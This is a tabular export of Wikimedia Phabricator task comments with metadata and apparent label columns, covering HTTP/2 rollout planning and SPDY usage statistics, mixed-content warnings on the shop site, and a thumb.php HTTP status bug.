+As for timing: I'm still hoping that SPDY-only stats will drop further before we have to make the switch.  I doubt they'll drop off as much as we'd like, so that means delaying as much as we reasonably can (and frankly, we're busy anyways).  We probably won't end up flipping the production switch until sometime in mid-late April.   I don't anticipate working on having the package + running canary until very early April, either.",,,1457038898,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1
+622719,Support HTTP/2,"@bblack, @ema: can you confirm that we are on track for having HTTP/2 support on or by May 15th? Also, can you recommend a way for us to project the impact of this change ahead of the actual switch / upgrade? (e.g., can it be staged on a canary Varnish/NGINX server that we can point WebPageTest at?)",,,1457037484,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0
+608953,Support HTTP/2,Would be great if we could make timeline for when we can start to test performance for the user. Want to know if T125208 will be an issue also for H/2 or if it's only SPDY (hopefully not but it would be good to know for sure).,,,1455265252,,PHID-USER-hfqxkl5wvmdkecl5utfy,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,32,True,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+608746,Support HTTP/2,"The Chrome team [[ http://blog.chromium.org/2016/02/transitioning-from-spdy-to-http2.html | announced ]] that they will drop support for SPDY (and NPN) in three months, on May 15th.",,,1455231918,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,32,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+597364,Support HTTP/2,"Quick update, I did a small re-check on just a single text node in esams (mobile + desktop text traffic, random subsample of IPs, mostly in Europe) for 5 minutes:
+
+
+
+| Protocol | Percentage |
+| --- | --- |
+| h2 only | 2.8% |
+| spdy3 only | 17.4% |
+| spdy3+h2 | 28.9% |
+| none | 50.8% |
+
+This is based on raw clienthello data at the start of TLS connections.  We count NPN presence (at all, can't see contents) as a positive indicator of spdy/3 support, and either ""spdy/3"" or ""h2"" within ALPN as positive indicators for their respective protocols.
+
+While these numbers are moving in the right direction, they still don't look good enough to support removing spdy/3 in favor of h2.",,,1453825842,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,29,True,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+573711,Support HTTP/2,"<https://blog.cloudflare.com/introducing-http2/>
+> **HTTP/2 is here! Goodbye SPDY? Not quite yet**
+> There is no need to make a decision between SPDY or HTTP/2. Both are automatically there for you and your customers.
+> ...
+>|HTTP Protocol | Average Page Load time
+>|--|--
+>| HTTP 1.x | 9.07 sec.
+>| SPDY/3.1 | 7.06 sec.
+>| HTTP/2 | 4.27 sec.
+>
+> .. It's no secret that CloudFlare uses a modified version of NGINX as the reverse proxy 
+>.. NGINX Open Source 1.9.5 [introduced] a new HTTP/2 module [but removed] SPDY. The justification for this approach was based on Google saying goodbye to SPDY and [deprecating the protocol](http://blog.chromium.org/2015/02/hello-http2-goodbye-spdy-http-is_9.html), starting in January 2016.
+>
+>|Protocol |Percentage of Hits
+>|--|--
+>|HTTP/1.x | 19.36%
+>|SPDY/3.1 | 57.02%
+>|HTTP/2 | 23.62%
+
+<https://blog.cloudflare.com/introducing-http2/#comment-2391853103>
+>>! [@eastdakota](https://disqus.com/by/eastdakota/) wrote:
+> We plan on open sourcing our NGINX patch to support HTTP/2 and SPDY in the new year.",,,1449352717,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1
+573706,Support HTTP/2,"<https://blog.cloudflare.com/introducing-http2/>
+> **HTTP/2 is here! Goodbye SPDY? Not quite yet**
+> There is no need to make a decision between SPDY or HTTP/2. Both are automatically there for you and your customers.
+> ...
+>|HTTP Protocol | Average Page Load time
+>|--|--
+>| HTTP 1.x | 9.07 sec.
+>| SPDY/3.1 | 7.06 sec.
+>| HTTP/2 | 4.27 sec.
+>
+> .. It's no secret that CloudFlare uses a modified version of NGINX as the reverse proxy 
+>.. NGINX Open Source 1.9.5 [introduced] a new HTTP/2 module [but removed] SPDY. The justification for this approach was based on Google saying goodbye to SPDY and [deprecating the protocol](http://blog.chromium.org/2015/02/hello-http2-goodbye-spdy-http-is_9.html), starting in January 2016.
+>
+>|Protocol |Percentage of Hits
+>|--|--
+>|HTTP/1.x | 19.36%
+>|SPDY/3.1 | 57.02%
+>|HTTP/2 | 23.62%",,,1449352192,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+560876,Support HTTP/2,"oops, my nginx version numbers were all off-by-one in the task description.  fixed!",,,1447161424,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+560704,Support HTTP/2,"@ori yes I emailed Pat, @BBlack on cc, see if we could find the right people to talk to.",,,1447136198,,PHID-USER-hfqxkl5wvmdkecl5utfy,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+560565,Support HTTP/2,"@ori: my stats are from clienthellos, so they're per-**connection**.  All of our stats based on X-Connection-Properties are (in some cases, unfortunately) per-**request**, even if several of those requests came in over one **connection**.  Since X-C-P is being sent by nginx to varnish and then logged from varnish, there's no quick solution to that discrepancy.",,,1447103727,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+560564,Support HTTP/2,"@BBlack: https://grafana.wikimedia.org/dashboard/db/client-connections?panelId=5&fullscreen&from=1446498648837&to=1447103448837 shows support for SPDY ranging from ~62% to ~71%, which is at odds with your stats above.",,,1447103550,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,1,1,0,0,1,0,0,0
+560556,Support HTTP/2,"@Peter, could you perhaps connect Pat Meenan and @BBlack, so we can ask the Chrome team to not drop SPDY before the Nginx situation is resolved? (And perhaps to use their clout to ask Nginx to do the right thing.)",,,1447102603,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+560525,Support HTTP/2,FYI: I've been filing bugs for SPDY/Chrome and WebPageTest and Pat Meenan (of the Chrome team) reminded me that Chrome will drop support for SPDY early 2016. He also said the team will reach out to us.,,,1447098682,,PHID-USER-hfqxkl5wvmdkecl5utfy,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+525204,Support HTTP/2,"Change 230040 abandoned by BBlack:
+HTTP/2 alpha patch v2
+
+[[https://gerrit.wikimedia.org/r/230040]]",,,1441978894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+506762,Support HTTP/2,"Change 230040 had a related patch set uploaded (by BBlack):
+HTTP/2 alpha patch
+
+[[https://gerrit.wikimedia.org/r/230040]]
+",,,1439391906,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+506760,Support HTTP/2,"Status update: [[ https://www.nginx.com/blog/early-alpha-patch-http2/ | nginx has announced ]] an [[ http://nginx.org/patches/http2/ | an early-alpha quality patch ]], which I've [[ https://gerrit.wikimedia.org/r/#/c/230040/ | built and tested locally ]] against our package.
+
+It seems to function correctly in limited testing and re-uses the bulk of the existing SPDY code we're running today other than where the protocols truly differ (e.g. HPACK for header compression).   One notable drawback of the current patch is that it removes SPDY/3.1 when adding HTTP/2.  Ideally, we'd like to keep both protocols enabled for a transitional period, as probably not all SPDY-capable browsers will have HTTP/2 support in time.",,,1439391756,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+96818,Shop homepage on HTTPS contains insecure submission form,"In latest Google Chrome, the store throws a warning for insecure interactions on the page.
+
+> Mixed Content: The page at '<https://store.wikimedia.org/>' was loaded over a secure connection, but contains a form which targets an insecure endpoint '<http://wikimediafoundation.us4.list-manage2.com/subscribe/post?u=438f0ff3a0fa6a75eeaea7498&id=906a788d5c>'.
+
+This endpoint should be made available over a secure connection, or the footer should be changed to not embed a form but merely link to the external form page by anchor link.",High,80.0,1429679535,1449353679.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-ts7owielqta5yitsljwe,task_description,resolved,True,c3,1,True,True,False,-11,True,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1
+573714,Shop homepage on HTTPS contains insecure submission form,This form uses a different provider now (https://www.pages04.net/wikimedia/wms/Form instead of Mainchip's non-HTTPS list-manage2.com).,,,1449353679,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ts7owielqta5yitsljwe,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+94068,"""[FLOW] "" ""Failed to load topics: http"" load.php:163:22","At https://www.mediawiki.org/wiki/Talk:Sandbox this was at the top of my webconsole. I'm not sure what it means.
+
+""[FLOW] "" ""Failed to load topics: http"" load.php:163:22
+FlowComponent.prototype.debug() load.php:163
+flowBoardComponentLoadMoreFeatureJumpTo/<() load.php:239
+jQuery.Callbacks/fire() load.php:45
+jQuery.Callbacks/self.fireWith() load.php:46
+.Deferred/</deferred[tuple[0]]() load.php:47
+mw.Api.prototype.ajax/xhr<() load.php:28
+jQuery.Callbacks/fire() load.php:45",High,80.0,1427397224,1532108908.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,PHID-USER-rmj3kg6svipmzza2iogf,False,PHID-TASK-j2x5644va6ha7wi23oku,task_description,invalid,True,c3,1,False,False,False,-14,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+434112,"""[FLOW] "" ""Failed to load topics: http"" load.php:163:22","This doesn't look to be happening now (in chrome 39), it might be intermittent or might be browser related.  We should keep an eye out for future occurance.",,,1427478457,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-j2x5644va6ha7wi23oku,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+93959,Shop homepage on HTTPS loads insecure content,"https://shop.wikimedia.org/
+
+a 404 and a mixed content warning. mixed content causes the site's lock icon on location bar to indicate site is insecure.
+
+* GET https://cdn.shopify.com/s/files/1/0160/7500/t/13/assets/option_selection.js [HTTP/1.1 404 Not Found 416ms]
+* Loading mixed (insecure) display content on a secure page ""http://cdn.shopify.com/s/files/1/0713/7997/t/2/assets/icon-shopping-basket.svg"" [[https://developer.mozilla.org/en-US/docs/Security/MixedContent|Learn More]] shop.wikimedia.org
+* GET http://cdn.shopify.com/s/files/1/0713/7997/t/2/assets/icon-shopping-basket.svg [[https://developer.mozilla.org/en-US/docs/Security/MixedContent|Mixed Content]][HTTP/1.1 200 OK 334ms]",High,80.0,1427322534,1449353758.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-hpz4xgn77fh5oaljj5vi,task_description,resolved,True,c3,1,False,False,False,-15,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1
+573715,Shop homepage on HTTPS loads insecure content,The 404 and mixed content warnings have been resolved.,,,1449353758,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hpz4xgn77fh5oaljj5vi,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+450134,Shop homepage on HTTPS loads insecure content,https://store.wikimedia.org/pages/privacy-policy is terribly generic. Why isn't shopify mentioned anywhere in the website?,,,1430201919,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hpz4xgn77fh5oaljj5vi,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0
+439708,Shop homepage on HTTPS loads insecure content,I have fixed the insecure content warning. Not sure what option_selection.js is meant to be though.,,,1428422282,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-hpz4xgn77fh5oaljj5vi,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+92891,citoid.wikimedia.org needs to provide HTTPS access as well as HTTP,Otherwise HTTPS clients will abort with a mixed-mode access error.,High,80.0,1426535915,1426537014.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-bigsillngtdydlkgv4jt,task_description,resolved,True,c3,1,True,True,True,-16,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+427210,citoid.wikimedia.org needs to provide HTTPS access as well as HTTP,I am an idiot. It does.,,,1426537014,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bigsillngtdydlkgv4jt,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+92545,thumb.php should not return HTTP 200 when streaming the file fails,"`thumb.php` ignores the return status of `MediaTransformOutput::streamFile()` and/or `FileRepo::streamFile()` and returns a normal HTTP status even if the file could not be streamed, which results in Varnish caching the error. It should return 503 instead.",High,80.0,1426187286,1427296341.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-papbtlagfolot4dzerne,False,PHID-TASK-tw44nyah5ou35dx4udvn,task_description,resolved,True,c3,1,True,False,True,-16,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+432389,thumb.php should not return HTTP 200 when streaming the file fails,"I meant testing in production, but that seems a bit far-fetched seeing that locally modifying the code is needed.",,,1427296341,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+428801,thumb.php should not return HTTP 200 when streaming the file fails,"Just break `MediaTransformOutput::streamFile()` and/or `FileRepo::streamFile()` and make them return false. The first should affect newly created thumbnails (on a wiki using a 404 handler)- The second, I am not sure; I think it only happens on Swift (or similard shared-storage backends), but you can simulate it by calling thumb.php directly for an existing non-thumbnail file (`/w/thumb.php?f=<title>` should do it).",,,1426716160,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+428246,thumb.php should not return HTTP 200 when streaming the file fails,Any idea how we could test this?,,,1426669836,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0
+425856,thumb.php should not return HTTP 200 when streaming the file fails,"Change 196469 merged by jenkins-bot:
+Return HTTP 500 not 200 from thumb.php when streaming fails
+
+[[https://gerrit.wikimedia.org/r/196469]]",,,1426236244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+427253,thumb.php should not return HTTP 200 when streaming the file fails,"Per Timo's comment on the patchset, the streamFile calls in `img_auth.php`, `SpecialUndelete#showFile`, `SpecialRevisiondelete#tryShowFile` and `SpecialUploadStash#outputLocalFile` should be handled similarly. (Also, if we are going to touch all streamFile calls, it should probably be changed to return the `Status` object so the error messages can be more informative.) Less of a priority though, those can't get cached.
+
+**update**: split to T92903",,,1426540151,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+427252,thumb.php should not return HTTP 200 when streaming the file fails,"Per Timo's comment on the patchset, the streamFile calls in `img_auth.php`, `SpecialUndelete#showFile`, `SpecialRevisiondelete#tryShowFile` and `SpecialUploadStash#outputLocalFile` should be handled similarly. (Also, if we are going to touch all streamFile calls, it should probably be changed to return the `Status` object so the error messages can be more informative.) Less of a priority though, those can't get cached.
+
+**update: split to T92903**",,,1426540141,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+425757,thumb.php should not return HTTP 200 when streaming the file fails,"Per Timo's comment on the patchset, the streamFile calls in `img_auth.php`, `SpecialUndelete#showFile`, `SpecialRevisiondelete#tryShowFile` and `SpecialUploadStash#outputLocalFile` should be handled similarly. (Also, if we are going to touch all streamFile calls, it should probably be changed to return the `Status` object so the error messages can be more informative.) Less of a priority though, those can't get cached.",,,1426207985,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+425685,thumb.php should not return HTTP 200 when streaming the file fails,"Change 196469 had a related patch set uploaded (by Gergő Tisza):
+Return HTTP 500 not 200 from thumb.php when streaming fails
+
+[[https://gerrit.wikimedia.org/r/196469]]
